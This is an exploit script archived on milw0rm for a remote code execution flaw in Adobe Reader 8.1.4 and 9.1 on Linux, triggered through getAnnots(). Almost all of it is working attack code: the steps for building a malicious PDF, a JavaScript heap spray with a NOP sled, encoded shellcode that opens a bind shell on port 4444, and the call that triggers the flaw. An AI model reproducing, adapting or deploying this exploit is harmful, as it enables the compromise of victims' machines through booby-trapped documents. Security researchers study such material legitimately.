Adobe Reader 8.1.4/9.1 - 'GetAnnots()' Remote Code Execution

//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
//- attach the following script to the OpenAction of the pdf.
//##############

var memory;
function New_Script()
{

//if(adobe9)//adobe reader 8 works also with app.setTimeOut?
var startwith = app.alert('Hi');//required for adobe9

    var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one ;)
    var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444

    while(nop.length <= 0x100000/2) nop+=nop;
    nop=nop.substring(0,0x100000/2 - shellcode.length);

    memory=new Array();
    for(i=0;i<0x6ff;i++)  //we should at least overwrite 0x90909090
    {memory[i]=nop + shellcode;}

//start exploit now
start();

function start()
{
    this.getAnnots(-134217728,-134217728,-134217728,-134217728);
}

}

//############################

# milw0rm.com [2009-04-29]